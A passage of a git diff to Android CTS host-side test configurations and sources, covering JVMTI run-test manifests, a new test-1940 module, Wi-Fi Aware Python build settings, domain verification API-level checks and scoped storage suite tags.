             hdmiCecClient.checkExpectedOutput(LogicalAddress.TV, CecOperand.TEXT_VIEW_ON);
diff --git a/hostsidetests/inputmethodservice/hostside/AndroidTest.xml b/hostsidetests/inputmethodservice/hostside/AndroidTest.xml
index 7c8132a..6454624 100644
--- a/hostsidetests/inputmethodservice/hostside/AndroidTest.xml
+++ b/hostsidetests/inputmethodservice/hostside/AndroidTest.xml
@@ -18,6 +18,7 @@
 <configuration description="Config for CTS Input Method Service host test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="inputmethod" />
+    <option name="config-descriptor:metadata" key="parameter" value="all_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
diff --git a/hostsidetests/jvmti/run-tests/test-1924/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1924/app/AndroidManifest.xml
index 176ef69..4388209 100644
--- a/hostsidetests/jvmti/run-tests/test-1924/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1924/app/AndroidManifest.xml
@@ -21,8 +21,6 @@
     <application android:debuggable="true">
         <uses-library android:name="android.test.runner" />
         <meta-data android:name="android.jvmti.cts.run_test_nr" android:value="1924" />
-        <!-- Perform extra logging to try to get to the bottom of b/144947842 -->
-        <meta-data android:name="android.jvmti.cts.run_test.extra_logging" android:value="true" />
         <activity android:name="android.jvmti.JvmtiActivity" >
         </activity>
     </application>
diff --git a/hostsidetests/jvmti/run-tests/test-1925/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1925/app/AndroidManifest.xml
index 9b8f768..b3fab4f 100644
--- a/hostsidetests/jvmti/run-tests/test-1925/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1925/app/AndroidManifest.xml
@@ -21,8 +21,6 @@
     <application android:debuggable="true">
         <uses-library android:name="android.test.runner" />
         <meta-data android:name="android.jvmti.cts.run_test_nr" android:value="1925" />
-        <!-- Perform extra logging to try to get to the bottom of b/144947842 -->
-        <meta-data android:name="android.jvmti.cts.run_test.extra_logging" android:value="true" />
         <activity android:name="android.jvmti.JvmtiActivity" >
         </activity>
     </application>
diff --git a/hostsidetests/jvmti/run-tests/test-1926/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1926/app/AndroidManifest.xml
index a07a28f..ee5da05 100644
--- a/hostsidetests/jvmti/run-tests/test-1926/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1926/app/AndroidManifest.xml
@@ -21,8 +21,6 @@
     <application android:debuggable="true">
         <uses-library android:name="android.test.runner" />
         <meta-data android:name="android.jvmti.cts.run_test_nr" android:value="1926" />
-        <!-- Perform extra logging to try to get to the bottom of b/144947842 -->
-        <meta-data android:name="android.jvmti.cts.run_test.extra_logging" android:value="true" />
         <activity android:name="android.jvmti.JvmtiActivity" >
         </activity>
     </application>
diff --git a/hostsidetests/jvmti/run-tests/test-1936/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1936/app/AndroidManifest.xml
index d51b1b6..57cf5cd 100644
--- a/hostsidetests/jvmti/run-tests/test-1936/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1936/app/AndroidManifest.xml
@@ -21,8 +21,6 @@
     <application android:debuggable="true">
         <uses-library android:name="android.test.runner" />
         <meta-data android:name="android.jvmti.cts.run_test_nr" android:value="1936" />
-        <!-- Perform extra logging to try to get to the bottom of b/144947842 -->
-        <meta-data android:name="android.jvmti.cts.run_test.extra_logging" android:value="true" />
         <activity android:name="android.jvmti.JvmtiActivity" >
         </activity>
     </application>
diff --git a/hostsidetests/tzdata/Android.bp b/hostsidetests/jvmti/run-tests/test-1940/Android.bp
similarity index 64%
copy from hostsidetests/tzdata/Android.bp
copy to hostsidetests/jvmti/run-tests/test-1940/Android.bp
index be847bd..d22acd8 100644
--- a/hostsidetests/tzdata/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1940/Android.bp
@@ -1,4 +1,4 @@
-// Copyright (C) 2017 The Android Open Source Project
+// Copyright (C) 2022 The Android Open Source Project
 //
 // Licensed under the Apache License, Version 2.0 (the "License");
 // you may not use this file except in compliance with the License.
@@ -17,19 +17,15 @@
 }
 
 java_test_host {
-    name: "CtsHostTzDataTests",
-    defaults: ["cts_defaults"],
-    // Only compile source java files in this apk.
-    srcs: ["src/**/*.java"],
-    libs: ["tradefed"],
-    static_libs: [
-        "tzdata-testing",
-        "time_zone_distro",
-        "time_zone_distro_builder",
-    ],
-    // Tag this module as a cts test artifact
+    name: "CtsJvmtiRunTest1940HostTestCases",
+    static_libs: ["CtsJvmtiHostTestBase"],
+    jarjar_rules: "jarjar-rules.txt",
     test_suites: [
         "cts",
         "general-tests",
     ],
-}
+    data: [":CtsJvmtiRunTest1940DeviceApp"],
+    test_options: {
+        unit_test: false,
+    },
+}
\ No newline at end of file
diff --git a/hostsidetests/jvmti/run-tests/test-1940/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1940/AndroidTest.xml
new file mode 100644
index 0000000..75374f0
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1940/AndroidTest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2022 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS JVMTI test cases">
+    <option name="test-suite-tag" value="cts"/>
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="component" value="art" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsJvmtiRunTest1940DeviceApp.apk" />
+    </target_preparer>
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsJvmtiRunTest1940HostTestCases.jar" />
+        <option name="set-option" value="test-file-name:CtsJvmtiRunTest1940DeviceApp.apk" />
+        <option name="set-option" value="package-name:android.jvmti.cts.run_test_1940" />
+        <option name="set-option" value="hidden-api-checks:false" />
+        <option name="runtime-hint" value="8s"/>
+    </test>
+</configuration>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/Android.bp b/hostsidetests/jvmti/run-tests/test-1940/app/Android.bp
similarity index 60%
copy from hostsidetests/securitybulletin/test-apps/CVE-2021-0481/Android.bp
copy to hostsidetests/jvmti/run-tests/test-1940/app/Android.bp
index ec76abd..711cd0c 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1940/app/Android.bp
@@ -1,4 +1,4 @@
-// Copyright (C) 2021 The Android Open Source Project
+// Copyright (C) 2022 The Android Open Source Project
 //
 // Licensed under the Apache License, Version 2.0 (the "License");
 // you may not use this file except in compliance with the License.
@@ -17,19 +17,7 @@
 }
 
 android_test_helper_app {
-    name: "CVE-2021-0481",
-    defaults: ["cts_support_defaults"],
-    srcs: ["src/**/*.java"],
-    test_suites: [
-        "cts",
-        "vts10",
-        "sts",
-    ],
-    static_libs: [
-        "androidx.test.rules",
-        "androidx.test.uiautomator_uiautomator",
-        "androidx.test.core",
-        "androidx.appcompat_appcompat",
-    ],
-    sdk_version: "current",
-}
+    name: "CtsJvmtiRunTest1940DeviceApp",
+    defaults: ["cts-run-jvmti-defaults"],
+    manifest: "AndroidManifest.xml",
+}
\ No newline at end of file
diff --git a/hostsidetests/jvmti/run-tests/test-1940/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1940/app/AndroidManifest.xml
new file mode 100644
index 0000000..57a57ab
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1940/app/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.jvmti.cts.run_test_1940">
+
+    <application android:debuggable="true">
+        <uses-library android:name="android.test.runner" />
+        <meta-data android:name="android.jvmti.cts.run_test_nr" android:value="1940" />
+        <activity android:name="android.jvmti.JvmtiActivity" >
+        </activity>
+    </application>
+
+    <!--  self-instrumenting test package. -->
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:label="CTS tests for JVMTI"
+        android:targetPackage="android.jvmti.cts.run_test_1940" >
+    </instrumentation>
+</manifest>
+
diff --git a/hostsidetests/jvmti/run-tests/test-1940/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-1940/jarjar-rules.txt
new file mode 100644
index 0000000..1052cee
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1940/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest1940@1
diff --git a/hostsidetests/jvmti/run-tests/test-1982/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1982/app/AndroidManifest.xml
index 1d29560..1bed7f1 100644
--- a/hostsidetests/jvmti/run-tests/test-1982/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1982/app/AndroidManifest.xml
@@ -21,8 +21,6 @@
     <application android:debuggable="true">
         <uses-library android:name="android.test.runner" />
         <meta-data android:name="android.jvmti.cts.run_test_nr" android:value="1982" />
-        <!-- Perform extra logging to try to get to the bottom of b/144947842 -->
-        <meta-data android:name="android.jvmti.cts.run_test.extra_logging" android:value="true" />
         <activity android:name="android.jvmti.JvmtiActivity" >
         </activity>
     </application>
diff --git a/hostsidetests/jvmti/run-tests/test-1995/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1995/app/AndroidManifest.xml
index b04fa7b..6f1d556 100644
--- a/hostsidetests/jvmti/run-tests/test-1995/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1995/app/AndroidManifest.xml
@@ -21,8 +21,6 @@
     <application android:debuggable="true">
         <uses-library android:name="android.test.runner" />
         <meta-data android:name="android.jvmti.cts.run_test_nr" android:value="1995" />
-        <!-- Perform extra logging to try to get to the bottom of b/144947842 -->
-        <meta-data android:name="android.jvmti.cts.run_test.extra_logging" android:value="true" />
         <activity android:name="android.jvmti.JvmtiActivity" >
         </activity>
     </application>
diff --git a/hostsidetests/jvmti/run-tests/test-2004/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-2004/app/AndroidManifest.xml
index 673d7d0..c5ecaec 100644
--- a/hostsidetests/jvmti/run-tests/test-2004/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-2004/app/AndroidManifest.xml
@@ -21,8 +21,6 @@
     <application android:debuggable="true">
         <uses-library android:name="android.test.runner" />
         <meta-data android:name="android.jvmti.cts.run_test_nr" android:value="2004" />
-        <!-- Perform extra logging to try to get to the bottom of b/144947842 -->
-        <meta-data android:name="android.jvmti.cts.run_test.extra_logging" android:value="true" />
         <activity android:name="android.jvmti.JvmtiActivity" >
         </activity>
     </application>
diff --git a/hostsidetests/media/bitstreams/AndroidTest.xml b/hostsidetests/media/bitstreams/AndroidTest.xml
index 070b44d..c07fa07 100644
--- a/hostsidetests/media/bitstreams/AndroidTest.xml
+++ b/hostsidetests/media/bitstreams/AndroidTest.xml
@@ -25,6 +25,11 @@
         <option name="dynamic-config-name" value="cts-dynamic-config" />
         <option name="version" value="9.0_r1"/>
     </target_preparer>
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
+        <option name="target" value="device" />
+        <option name="config-filename" value="CtsMediaBitstreamsTestCases" />
+        <option name="version" value="9.0_r1"/>
+    </target_preparer>
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer">
         <option name="media-download-only" value="true" />
     </target_preparer>
@@ -32,11 +37,6 @@
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsMediaBitstreamsDeviceSideTestApp.apk" />
     </target_preparer>
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
-        <option name="target" value="device" />
-        <option name="config-filename" value="CtsMediaBitstreamsTestCases" />
-        <option name="version" value="9.0_r1"/>
-    </target_preparer>
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ReportLogCollector">
         <option name="src-dir" value="/sdcard/report-log-files/"/>
         <option name="dest-dir" value="report-log-files/"/>
diff --git a/hostsidetests/multidevices/wifi_aware/Android.bp b/hostsidetests/multidevices/wifi_aware/Android.bp
index 2226f8d..345e84c 100644
--- a/hostsidetests/multidevices/wifi_aware/Android.bp
+++ b/hostsidetests/multidevices/wifi_aware/Android.bp
@@ -20,6 +20,9 @@
     name: "CtsWifiAwareTestCases",
     main: "wifi_aware_test.py",
     srcs: ["wifi_aware_test.py"],
+    libs: [
+        "mobly",
+    ],
     test_suites: [
         "cts",
         "general-tests",
@@ -31,4 +34,13 @@
         // Package the snippet with the mobly test
         ":wifi_aware_snippet",
     ],
+    version: {
+        py2: {
+            enabled: false,
+        },
+        py3: {
+            enabled: true,
+            embedded_launcher: true,
+        },
+    },
 }
diff --git a/hostsidetests/multidevices/wifi_aware/AndroidTest.xml b/hostsidetests/multidevices/wifi_aware/AndroidTest.xml
index a1e242c..95847d1 100644
--- a/hostsidetests/multidevices/wifi_aware/AndroidTest.xml
+++ b/hostsidetests/multidevices/wifi_aware/AndroidTest.xml
@@ -28,11 +28,6 @@
             <option name="run-command" value="input keyevent KEYCODE_WAKEUP" />
             <option name="run-command" value="wm dismiss-keyguard" />
         </target_preparer>
-        <!-- TODO(b/225958696): Import mobly dependencies -->
-        <target_preparer class="com.android.tradefed.targetprep.PythonVirtualenvPreparer">
-          <!-- Any python dependencies can be specified and will be installed with pip -->
-          <option name="dep-module" value="mobly" />
-        </target_preparer>
     </device>
     <device name="device2">
         <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
diff --git a/hostsidetests/neuralnetworks/app/src/com/android/nn/stats/app/NnapiDeviceActivity.java b/hostsidetests/neuralnetworks/app/src/com/android/nn/stats/app/NnapiDeviceActivity.java
index e372fb9..7dc4015 100644
--- a/hostsidetests/neuralnetworks/app/src/com/android/nn/stats/app/NnapiDeviceActivity.java
+++ b/hostsidetests/neuralnetworks/app/src/com/android/nn/stats/app/NnapiDeviceActivity.java
@@ -21,7 +21,7 @@
 import android.util.Log;
 
 /**
- * A simple activity which triggers libneuralnetworks.so to push WestWorld atoms.
+ * A simple activity which triggers libneuralnetworks.so to push statsd atoms.
  */
 public class NnapiDeviceActivity extends Activity {
     private static final String TAG = NnapiDeviceActivity.class.getSimpleName();
@@ -33,7 +33,7 @@
     @Override
     public void onCreate(Bundle icicle) {
         super.onCreate(icicle);
-        Log.i(TAG, "Triggering libneuralnetworks.so to push WestWorld atoms.");
+        Log.i(TAG, "Triggering libneuralnetworks.so to push statsd atoms.");
         trigger_libneuralnetworks_atoms();
     }
 
diff --git a/hostsidetests/neuralnetworks/src/com/android/nn/host/cts/NeuralNetworksStatsTests.java b/hostsidetests/neuralnetworks/src/com/android/nn/host/cts/NeuralNetworksStatsTests.java
index a3bdb9c..9930253 100644
--- a/hostsidetests/neuralnetworks/src/com/android/nn/host/cts/NeuralNetworksStatsTests.java
+++ b/hostsidetests/neuralnetworks/src/com/android/nn/host/cts/NeuralNetworksStatsTests.java
@@ -115,6 +115,7 @@
         assertThat(atom.getCompilationTimeSumSquaredMillis()).isAtLeast(0);
         assertThat(atom.getCompilationTimeCount()).isGreaterThan(0);
         assertThat(atom.getCount()).isGreaterThan(0);
+        // atom.getModelArchHash64() can have any value
 
         for (EventMetricData event : data) {
             NeuralNetworksCompilationCompleted current = event.getAtom()
@@ -158,6 +159,7 @@
         assertFalse(atom.getHasControlFlow());
         assertFalse(atom.getHasDynamicTemporaries());
         assertThat(atom.getCount()).isGreaterThan(0);
+        // atom.getModelArchHash64() can have any value
 
         for (EventMetricData event : data) {
             NeuralNetworksCompilationFailed current = event.getAtom()
@@ -216,6 +218,7 @@
         assertThat(atom.getDurationRuntimeSumSquaredMicros()).isAtLeast(0);
         assertThat(atom.getDurationRuntimeCount()).isGreaterThan(0);
         assertThat(atom.getCount()).isGreaterThan(0);
+        // atom.getModelArchHash64() can have any value
 
         for (EventMetricData event : data) {
             NeuralNetworksExecutionCompleted current = event.getAtom()
@@ -260,6 +263,7 @@
         assertFalse(atom.getHasControlFlow());
         assertFalse(atom.getHasDynamicTemporaries());
         assertThat(atom.getCount()).isGreaterThan(0);
+        // atom.getModelArchHash64() can have any value
 
         for (EventMetricData event : data) {
             NeuralNetworksExecutionFailed current = event.getAtom()
diff --git a/hostsidetests/packagemanager/domainverification/apps/declaring/Android.bp b/hostsidetests/packagemanager/domainverification/apps/declaring/Android.bp
index 94d712f..80caeb5 100644
--- a/hostsidetests/packagemanager/domainverification/apps/declaring/Android.bp
+++ b/hostsidetests/packagemanager/domainverification/apps/declaring/Android.bp
@@ -36,6 +36,7 @@
         "cts_defaults",
         "CtsDomainVerificationTestDeclaringAppDefaults",
     ],
+    min_sdk_version: "31",
     sdk_version: "test_current",
     aaptflags: ["--rename-manifest-package com.android.cts.packagemanager.verify.domain.declaringapp1"],
 }
@@ -47,6 +48,7 @@
         "cts_defaults",
         "CtsDomainVerificationTestDeclaringAppDefaults",
     ],
+    min_sdk_version: "31",
     sdk_version: "test_current",
     aaptflags: ["--rename-manifest-package com.android.cts.packagemanager.verify.domain.declaringapp2"],
 }
diff --git a/hostsidetests/packagemanager/domainverification/device/standalone/Android.bp b/hostsidetests/packagemanager/domainverification/device/standalone/Android.bp
index 8990d84..9f95449 100644
--- a/hostsidetests/packagemanager/domainverification/device/standalone/Android.bp
+++ b/hostsidetests/packagemanager/domainverification/device/standalone/Android.bp
@@ -21,10 +21,11 @@
     srcs: [ "src/**/*.kt" ],
     test_suites: [
         "cts",
+        "gts",
         "device-tests",
     ],
     defaults: ["cts_defaults"],
-    sdk_version: "test_current",
+    min_sdk_version: "4",
     static_libs: [
         "androidx.test.ext.junit",
         "androidx.test.rules",
diff --git a/hostsidetests/packagemanager/domainverification/device/standalone/AndroidManifest.xml b/hostsidetests/packagemanager/domainverification/device/standalone/AndroidManifest.xml
index fba5376..ce89e2b 100644
--- a/hostsidetests/packagemanager/domainverification/device/standalone/AndroidManifest.xml
+++ b/hostsidetests/packagemanager/domainverification/device/standalone/AndroidManifest.xml
@@ -15,8 +15,13 @@
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.packagemanager.verify.domain.device.standalone"
-    >
+          xmlns:tools="http://schemas.android.com/tools"
+          package="com.android.cts.packagemanager.verify.domain.device.standalone"
+          >
+
+    <uses-sdk android:minSdkVersion="14" android:targetSdkVersion="17"
+              tools:overrideLibrary="com.android.cts.packagemanager.verify.domain.constants.android"
+              />
 
     <application android:label="Device Test App" android:testOnly="true">
         <uses-library android:name="android.test.runner" />
diff --git a/hostsidetests/packagemanager/domainverification/device/standalone/AndroidTest.xml b/hostsidetests/packagemanager/domainverification/device/standalone/AndroidTest.xml
index 95b86f5..e7afa10 100644
--- a/hostsidetests/packagemanager/domainverification/device/standalone/AndroidTest.xml
+++ b/hostsidetests/packagemanager/domainverification/device/standalone/AndroidTest.xml
@@ -15,6 +15,7 @@
   -->
 <configuration description="Config for CTS domain verification device standalone test cases">
     <option name="test-suite-tag" value="cts" />
+    <option name="test-suite-tag" value="gts" />
     <option name="config-descriptor:metadata" key="component" value="framework" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
@@ -23,6 +24,7 @@
 
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
+        <option name="check-min-sdk" value="true" />
         <option name="test-file-name" value="CtsDomainVerificationDeviceStandaloneTestCases.apk" />
         <option name="test-file-name" value="CtsDomainVerificationTestDeclaringApp1.apk" />
         <option name="test-file-name" value="CtsDomainVerificationTestDeclaringApp2.apk" />
diff --git a/hostsidetests/packagemanager/domainverification/device/standalone/src/com/android/cts/packagemanager/verify/domain/device/standalone/DomainVerificationIntentStandaloneTests.kt b/hostsidetests/packagemanager/domainverification/device/standalone/src/com/android/cts/packagemanager/verify/domain/device/standalone/DomainVerificationIntentStandaloneTests.kt
index 1861010..9401443a 100644
--- a/hostsidetests/packagemanager/domainverification/device/standalone/src/com/android/cts/packagemanager/verify/domain/device/standalone/DomainVerificationIntentStandaloneTests.kt
+++ b/hostsidetests/packagemanager/domainverification/device/standalone/src/com/android/cts/packagemanager/verify/domain/device/standalone/DomainVerificationIntentStandaloneTests.kt
@@ -17,6 +17,9 @@
 package com.android.cts.packagemanager.verify.domain.device.standalone
 
 import android.content.pm.verify.domain.DomainVerificationUserState
+import android.os.Build
+import com.android.compatibility.common.util.ApiLevelUtil
+import com.android.compatibility.common.util.CtsDownstreamingTest
 import com.android.compatibility.common.util.SystemUtil
 import com.android.cts.packagemanager.verify.domain.android.DomainUtils.DECLARING_PKG_1_COMPONENT
 import com.android.cts.packagemanager.verify.domain.android.DomainUtils.DECLARING_PKG_2_COMPONENT
@@ -26,6 +29,8 @@
 import com.android.cts.packagemanager.verify.domain.java.DomainUtils.DOMAIN_1
 import com.android.cts.packagemanager.verify.domain.java.DomainUtils.DOMAIN_2
 import com.google.common.truth.Truth.assertThat
+import org.junit.Assume.assumeTrue
+import org.junit.BeforeClass
 import org.junit.Test
 import org.junit.runner.RunWith
 import org.junit.runners.Parameterized
@@ -33,6 +38,14 @@
 @RunWith(Parameterized::class)
 class DomainVerificationIntentStandaloneTests : DomainVerificationIntentTestBase(DOMAIN_1) {
 
+    companion object {
+        @JvmStatic
+        @BeforeClass
+        fun assumeAtLeastS() {
+            assumeTrue(ApiLevelUtil.isAtLeast(Build.VERSION_CODES.S))
+        }
+    }
+
     @Test
     fun launchVerified() {
         setAppLinks(DECLARING_PKG_NAME_1, true, DOMAIN_1, DOMAIN_2)
@@ -74,6 +87,7 @@
         assertResolvesTo(browsers)
     }
 
+    @CtsDownstreamingTest
     @Test
     fun launchSelectedPreservedOnUpdate() {
         setAppLinks(DECLARING_PKG_NAME_1, false, DOMAIN_1, DOMAIN_2)
@@ -162,6 +176,7 @@
         assertResolvesTo(browsers)
     }
 
+    @CtsDownstreamingTest
     @Test
     fun disableHandlingWhenVerifiedPreservedOnUpdate() {
         setAppLinks(DECLARING_PKG_NAME_1, true, DOMAIN_1, DOMAIN_2)
@@ -192,6 +207,7 @@
         assertResolvesTo(browsers)
     }
 
+    @CtsDownstreamingTest
     @Test
     fun disableHandlingWhenSelectedPreservedOnUpdate() {
         setAppLinksUserSelection(DECLARING_PKG_NAME_1, userId, true, DOMAIN_1, DOMAIN_2)
diff --git a/hostsidetests/packagemanager/domainverification/lib/constants/android/Android.bp b/hostsidetests/packagemanager/domainverification/lib/constants/android/Android.bp
index 5e92d18..874d299 100644
--- a/hostsidetests/packagemanager/domainverification/lib/constants/android/Android.bp
+++ b/hostsidetests/packagemanager/domainverification/lib/constants/android/Android.bp
@@ -20,6 +20,7 @@
     name: "CtsDomainVerificationAndroidConstantsLibrary",
     defaults: ["cts_defaults"],
     srcs: ["src/**/*.kt"],
+    min_sdk_version: "31",
     static_libs: [
         "androidx.test.ext.junit",
         "androidx.test.rules",
diff --git a/hostsidetests/packagemanager/dynamicmime/OWNERS b/hostsidetests/packagemanager/dynamicmime/OWNERS
index 7dd198a..f236893 100644
--- a/hostsidetests/packagemanager/dynamicmime/OWNERS
+++ b/hostsidetests/packagemanager/dynamicmime/OWNERS
@@ -1,3 +1,3 @@
 # Bug component: 36137
-tantoshchuk@google.com
+preranap@google.com
 mhasank@google.com
diff --git a/hostsidetests/packagemanager/dynamicmime/src/android/dynamicmime/cts/RebootTestCases.java b/hostsidetests/packagemanager/dynamicmime/src/android/dynamicmime/cts/RebootTestCases.java
index a26de84..d6fb65e 100644
--- a/hostsidetests/packagemanager/dynamicmime/src/android/dynamicmime/cts/RebootTestCases.java
+++ b/hostsidetests/packagemanager/dynamicmime/src/android/dynamicmime/cts/RebootTestCases.java
@@ -40,6 +40,8 @@
     private static final String PACKAGE_TEST_APP = "android.dynamicmime.testapp";
     private static final String PACKAGE_REBOOT_TESTS = PACKAGE_TEST_APP + ".reboot";
 
+    private static final int SETTINGS_WRITE_TIMEOUT_MS = 10_000;
+
     @Test
     public void testGroupWithExactType() throws DeviceNotAvailableException {
         runTestWithReboot("SingleAppTest", "testGroupWithExactType");
@@ -213,6 +215,7 @@
     private void runTestWithReboot(String testClassName, String testMethodName)
             throws DeviceNotAvailableException {
         runPreReboot(testClassName, testMethodName);
+        waitForSettingsWrite();
         getDevice().reboot();
         runPostReboot(testClassName, testMethodName);
     }
@@ -223,6 +226,13 @@
             testMethodName);
     }
 
+    private void waitForSettingsWrite() {
+        try {
+            Thread.sleep(SETTINGS_WRITE_TIMEOUT_MS);
+        } catch (InterruptedException ignored) {
+        }
+    }
+
     private void runPreReboot(String testClassName, String testMethodName)
         throws DeviceNotAvailableException {
         runDeviceTests(PACKAGE_TEST_APP, PACKAGE_REBOOT_TESTS + ".PreReboot" + testClassName,
diff --git a/hostsidetests/packagemanager/dynamicmime/test/Android.bp b/hostsidetests/packagemanager/dynamicmime/test/Android.bp
index fb63a62..19bf606 100644
--- a/hostsidetests/packagemanager/dynamicmime/test/Android.bp
+++ b/hostsidetests/packagemanager/dynamicmime/test/Android.bp
@@ -33,5 +33,4 @@
         "general-tests",
     ],
     sdk_version: "test_current",
-    platform_apis: true,
 }
diff --git a/hostsidetests/scopedstorage/Android.bp b/hostsidetests/scopedstorage/Android.bp
index 61526d2..8499999 100644
--- a/hostsidetests/scopedstorage/Android.bp
+++ b/hostsidetests/scopedstorage/Android.bp
@@ -25,7 +25,7 @@
     min_sdk_version: "30",
     srcs: ["ScopedStorageTestHelper/src/**/*.java"],
     // Tag as a CTS artifact
-    test_suites: ["device-tests", "mts-mediaprovider", "cts"],
+    test_suites: ["general-tests", "mts-mediaprovider", "cts"],
 }
 android_test_helper_app {
     name: "CtsScopedStorageTestAppB",
@@ -36,7 +36,7 @@
     min_sdk_version: "30",
     srcs: ["ScopedStorageTestHelper/src/**/*.java"],
     // Tag as a CTS artifact
-    test_suites: ["device-tests", "mts-mediaprovider", "cts"],
+    test_suites: ["general-tests", "mts-mediaprovider", "cts"],
 }
 android_test_helper_app {
     name: "CtsScopedStorageTestAppC",
@@ -47,7 +47,7 @@
     min_sdk_version: "30",
     srcs: ["ScopedStorageTestHelper/src/**/*.java"],
     // Tag as a CTS artifact
-    test_suites: ["device-tests", "mts-mediaprovider", "cts"],
+    test_suites: ["general-tests", "mts-mediaprovider", "cts"],
 }
 android_test_helper_app {
     name: "CtsScopedStorageTestAppC30",
@@ -58,7 +58,7 @@
     min_sdk_version: "30",
     srcs: ["ScopedStorageTestHelper/src/**/*.java"],
     // Tag as a CTS artifact
-    test_suites: ["device-tests", "mts", "cts"],
+    test_suites: ["general-tests", "mts", "cts"],
 }
 android_test_helper_app {
     name: "CtsScopedStorageTestAppCLegacy",
@@ -69,7 +69,7 @@
     min_sdk_version: "28",
     srcs: ["ScopedStorageTestHelper/src/**/*.java"],
     // Tag as a CTS artifact
-    test_suites: ["device-tests", "mts-mediaprovider", "cts"],
+    test_suites: ["general-tests", "mts-mediaprovider", "cts"],
 }
 android_test_helper_app {
     name: "CtsScopedStorageTestAppDLegacy",
@@ -80,7 +80,7 @@
     min_sdk_version: "28",
     srcs: ["ScopedStorageTestHelper/src/**/*.java"],
     // Tag as a CTS artifact
-    test_suites: ["device-tests", "mts-mediaprovider", "cts"],
+    test_suites: ["general-tests", "mts-mediaprovider", "cts"],
 }
 
 android_test_helper_app {
@@ -92,7 +92,7 @@
     min_sdk_version: "30",
     srcs: ["ScopedStorageTestHelper/src/**/*.java"],
     // Tag as a CTS artifact
-    test_suites: ["device-tests", "mts-mediaprovider", "cts"],
+    test_suites: ["general-tests", "mts-mediaprovider", "cts"],
 }
 android_test_helper_app {
     name: "CtsScopedStorageTestAppFileManagerBypassDB",
@@ -103,7 +103,7 @@
     min_sdk_version: "30",
     srcs: ["ScopedStorageTestHelper/src/**/*.java"],
     // Tag as a CTS artifact
-    test_suites: ["device-tests", "mts", "cts"],
+    test_suites: ["general-tests", "mts", "cts"],
 }
 android_test_helper_app {
     name: "CtsScopedStorageTestAppSystemGalleryBypassDB",
@@ -114,7 +114,7 @@
     min_sdk_version: "30",
     srcs: ["ScopedStorageTestHelper/src/**/*.java"],
